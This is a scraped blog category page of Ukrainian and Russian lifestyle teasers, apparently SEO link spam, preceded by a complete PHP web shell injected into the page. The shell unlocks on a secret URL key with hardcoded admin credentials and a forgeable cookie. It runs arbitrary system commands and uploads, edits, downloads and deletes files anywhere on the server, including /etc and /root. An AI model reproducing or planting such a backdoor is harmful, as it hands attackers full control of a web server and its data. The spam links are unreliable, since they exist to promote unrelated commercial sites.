if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 8 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Огляд найкращих ноутбуків для навчання та продуктивної роботи

    Вибираючи пристрій для навчання та професійної діяльності, зверніть увагу на моделі з продуктивними процесорами, такими як Intel Core i5 або AMD Ryzen 5. Вони забезпечать швидку обробку інформації та плавну роботу програм. Рекомендується не економити на обсязі оперативної пам’яті: 8 ГБ – це мінімум, b-mobile.com.ua а 16 ГБ дозволить виконувати кілька задач одночасно без затримок.…

    Click or not…

  • Правила підживлення рослин для здорового росту та розвитку

    Рослинам необхідно слідкувати за балансом поживних речовин, починаючи з моменту їх прокльовування. Перш ніж застосовувати добрива, оцініть стан ґрунту за допомогою тестів на pH і вмісту основних елементів, https://agrotis.com.ua/ таких як азот, фосфор і калій. Залежно від результатів, виберіть підходящі препарати, щоб уникнути дефіциту або надлишку. Наступний етап – це вибір типу живлення. Сухі добрива…

    Click or not…

  • Елегантні стильні образи для літніх днів кожного дня

    Обирайте легкі, modny.com.ua природні матеріали для свого гардеробу. Льон та бавовна стануть найкращими союзниками у спекотну погоду. Вони дозволяють шкірі дихати і забезпечують комфорт без ризику перегріву. Додайте в свій погляд акценти, які підкреслюють вашу індивідуальність. Яскраві аксесуари, такі як біжутерія чи стильні головні убори, допоможуть зробити образ більш виразним та сміливим. Не забувайте про…

    Click or not…

  • Комфортний відпочинок з дітьми корисні поради і ідеї для сімей

    Обираємо локацію Пляж чи гора? Вибір залежить від інтересів вашої родини. Для дітей до 5 років піщані пляжі з дрібним піщком і лагідними хвилями – ідеальний варіант. Якщо обираєте гірський курорт, poehali.com.ua шукайте місця із безпечними маршрутами для маленьких туристів. Транспортні засоби для подорожі Плануйте подорож на автомобілі або потязі. Діти менше втомлюються в порівнянні…

    Click or not…

  • Чому кіт дряпає меблі та як запобігти цій поведінці

    Необхідно забезпечити домашньому улюбленцю альтернативи для чищення кігтів. Наприклад, використання спеціальних когтеточок допоможе зменшити інтерес до оббивки диванів і крісел. Ідеальними варіантами є конструкції з сизалю або картону, https://kotok.com.ua/ оскільки вони натуральні й приваблюють увагу. Додайте різноманітні іграшки для активного відпочинку та зняття напруги. М’ячики, інтерактивні ігри або навіть саморобні іграшки здатні зайняти тварину та…

    Click or not…

  • Корисні поради для здорового та якісного сну дорослих

    Регулярність – ключ до успіху. Лягайте спати і прокидайтеся в один і той самий час навіть у вихідні. Ця звичка налагоджує природні ритми організму, що позитивно впливає на загальний стан. Після кількох тижнів ви помітите, https://medart.in.ua/ як ваш час на відпочинок стає якіснішим. Комфортне середовище – запорука спокою. Переконайтеся, що ваша спальня темна, тихий та…

    Click or not…

  • Як навчити дітей фінансовій грамотності удома просто і цікаво

    Розпочніть із створення бюджету разом. Дайте малечі можливість спостерігати, як ви плануєте витрати та доходи. Використовуйте ігри для навчання, https://goodfinance.com.ua/ такі як “магазин” із використанням монет або купюри, що роблять процес більш захопливим. Запровадьте концепцію заощаджень. Спонукайте малюків відкладати частину своїх кишенькових грошей у банку, конкретно демонструючи, як ці заощадження зростають з часом. Наведіть приклади,…

    Click or not…

  • Як розвивати уяву у дітей через ігри та книги

    Вибір вправ, https://labirint-kids.com.ua/ які забезпечують активний розвиток креативності у молодшого покоління, має бути усвідомленим. Наприклад, настільні стратегічні розваги стимулюють критичне мислення та планування. Вони запрошують дітей створити власні світові сесії, які допомагають закріпити навички прийняття рішень та співпраці. Читання літератури різних жанрів відкриває численні горизонти, надихаючи малечу на створення унікальних образів та сюжетів у своїй…

    Click or not…

  • Как устроить незабываемый вечер для любимого человека

    Устроить незабываемый вечер для любимого человека — это не только приятно, но и важно для поддержания романтики в отношениях. В этой статье мы рассмотрим несколько шагов, nichlove.com.ua которые помогут вам организовать идеальный вечер, полный любви и тепла. Первое, что стоит сделать — это продумать концепцию вечера. Определитесь с тем, что именно вы хотите создать: романтическую…

    Click or not…

  • Кризис в отношениях: как пережить трудные периоды вместе

    Кризисы в отношениях — это неизбежная часть совместной жизни, и каждый партнер может столкнуться с трудными периодами. Эти кризисы могут быть вызваны различными факторами, такими как стресс на работе, финансовые трудности, воспитание детей или даже просто усталость от рутины. Важно понимать, https://naughtymuse.com.ua/ что трудные времена могут стать возможностью для роста и укрепления отношений, если подходить…

    Click or not…